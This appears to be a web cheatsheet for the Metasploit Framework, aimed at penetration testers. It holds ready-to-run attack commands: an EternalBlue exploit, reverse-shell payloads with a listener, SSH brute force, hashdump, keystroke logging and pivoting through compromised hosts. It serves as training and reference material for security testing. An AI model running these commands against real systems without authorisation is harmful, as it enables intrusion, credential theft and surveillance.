Metasploit Framework Cheatsheet

Ultimate Metasploit Framework Cheatsheet

A comprehensive reference guide for penetration testers using the Metasploit Framework.

Introduction to Metasploit

The Metasploit Framework is an open-source penetration testing framework maintained by Rapid7 and the security community. It provides a structured environment for developing and executing exploit code.

Core Components

  • MSFconsole – The main CLI interface.
  • Modules – Pre-packaged exploits and tools.
  • Tools – Standalone utilities (msfvenom).
  • Libraries – Rex, Msf::Core, Msf::Base.

Module Types

  • Exploits – Code that leverages a vulnerability.
  • Payloads – Code that runs after exploitation.
  • Auxiliary – Scanners, fuzzers, and sniffers.
  • Post – Post-exploitation modules.

Installation & Setup

On Kali Linux (Pre-installed)

Ensure your framework is up to date:

sudo apt update && sudo apt install metasploit-framework

Update Metasploit

msfupdate

Start the Console

msfconsole

Initialize Database

Metasploit uses PostgreSQL to store results. Start it before MSF:

sudo systemctl start postgresql
sudo msfdb init

Basic Commands

Command Description
helpShow available commands
versionShow framework version
bannerDisplay the ASCII banner
connectNetcat-like connection tool
spool [file]Save console output to file
saveSave current environment settings
exitExit the console

MSFconsole Commands

These commands are used to navigate modules and configure exploits.

Command Description
search [term]Search for modules
use [module]Select a module to use
infoDisplay detailed module info
show optionsShow required parameters
set [opt] [val]Set a specific option
setg [opt] [val]Set a global option
unset [opt]Unset an option
backGo back to main menu
exploit / runExecute the module
checkCheck if target is vulnerable
Pro Tip:

You can use resource [file.rc] to run a script file containing multiple Metasploit commands automatically.

Working with Modules

Finding Modules

search type:exploit platform:windows cve:2021

Common Search Filters

Filter Example
type:exploit, payload, auxiliary, post
platform:windows, linux, android, php
name:smb, apache, ssh
cve:2017, 2021
rank:excellent, great, normal

Example: EternalBlue

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set LHOST 192.168.1.5
exploit

Database Commands

db_status
workspace -a [ProjectName]
hosts
services -p 80
db_nmap -sV 192.168.1.1
creds
loot

Payloads Reference

Payloads are the code that runs on the target machine upon successful exploitation.

Payload Name Type
windows/meterpreter/reverse_tcpStaged Windows Reverse Shell
windows/x64/meterpreter/reverse_tcp64-bit Windows Reverse Shell
linux/x86/meterpreter/reverse_tcpLinux Reverse Shell
php/meterpreter/reverse_tcpWeb Server (PHP) Shell
android/meterpreter/reverse_tcpAndroid APK Shell
cmd/unix/reverse_netcatNetcat-based Shell

Exploitation & Handlers

Setting up a Listener (Multi Handler)

Used to catch reverse shells generated by msfvenom.

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
exploit

Post-Exploitation

Actions to perform after getting a session.

Session Management

sessions -l
sessions -i [ID]
background

Inside a Session

sysinfo
getuid
getsystem
ps
migrate [PID]

Post Modules

run post/windows/gather/enum_applications
run post/multi/recon/local_exploit_suggester

Meterpreter Commands

Command Description
upload [src] [dst]Upload file to target
download [src] [dst]Download file from target
search -f [file]Search for files
shellDrop into system shell (cmd/bash)
execute -f [cmd]Run a command
screenshotTake desktop screenshot
keyscan_startStart keylogger
keyscan_dumpDump keystrokes
hashdumpDump SAM database hashes

Auxiliary Modules

Useful for scanning and enumeration before exploitation.

SMB Version Scanner

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

SSH Login Brute Force

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.10
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Pivoting & Tunnelling

Auto Route

Route traffic through a compromised host to reach an internal network.

run autoroute -s 10.10.10.0/24

Port Forwarding

portfwd add -l 8080 -p 80 -r 10.10.10.5

SOCKS Proxy

use auxiliary/server/socks_proxy
set VERSION 4a
run

Leave a Reply

Your email address will not be published. Required fields are marked *